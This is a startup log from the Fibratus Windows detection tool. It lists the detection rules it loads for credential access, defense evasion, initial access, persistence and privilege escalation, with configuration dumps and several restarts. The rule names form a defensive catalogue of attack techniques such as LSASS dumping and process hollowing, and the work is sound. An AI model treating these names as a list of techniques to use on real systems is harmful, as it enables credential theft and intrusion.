+time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:56:00+01:00 level=info msg=bootstrapping with pid 23444. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:56:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-thread=>true enable-mem=>false enable-registry=>true buffer-size=>512 enable-fileio=>true enable-dns=>false enable-threadpool=>false min-buffers=>16 flush-interval=>1s enable-net=>true stack-enrichment=>true enable-image=>true max-buffers=>36 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 max-size=>100 formatter=>text level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ enabled=>false method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s] amqp=>[ routing-key=>fibratus exchange-type=>topic exchange=>fibratus passive=>false url=>amqp://localhost:5672 durable=>false timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s trace-log=>false gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus enabled=>false bulk-workers=>1 index-name=>fibratus timeout=>5s sniff=>false healthcheck=>true]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-allocs=>false skip-registry=>false scan-timeout=>10s enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:56:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:56:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:56:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:56:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:56:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:56:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T16:56:15+01:00 level=info msg=bootstrapping with pid 19136. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:56:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-registry=>true enable-net=>true flush-interval=>1s min-buffers=>16 enable-fileio=>true enable-image=>true enable-mem=>false enable-vamap=>true buffer-size=>512 max-buffers=>36 enable-threadpool=>false enable-handle=>false stack-enrichment=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text level=>info max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s enable-gzip=>false endpoints=>[] enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s passive=>false delivery-mode=>transient routing-key=>fibratus exchange-type=>topic durable=>false vhost=>/ url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ healthcheck=>true trace-log=>false index-name=>fibratus template-name=>fibratus flush-period=>1s gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-timeout=>5s timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false skip-allocs=>false scan-timeout=>10s fastscan=>true enabled=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:56:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:56:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:57:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:57:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:57:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:59:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T16:59:17+01:00 level=info msg=bootstrapping with pid 3024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:59:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 stack-enrichment=>true enable-threadpool=>false enable-thread=>true flush-interval=>1s enable-image=>true max-buffers=>36 enable-dns=>false enable-net=>true enable-handle=>false enable-mem=>false min-buffers=>16 enable-registry=>true enable-vamap=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 level=>info max-backups=>15 formatter=>text] + output ......................... [ http=>[ enabled=>false method=>POST timeout=>5s enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus enabled=>false gzip-compression=>false template-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s healthcheck-timeout=>5s sniff=>false flush-period=>1s trace-log=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 passive=>false exchange=>fibratus exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false scan-timeout=>10s skip-files=>false excluded-procs=>[] excluded-files=>[] skip-registry=>false skip-mmaps=>false fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:59:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:59:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:59:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:59:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:59:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:59:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 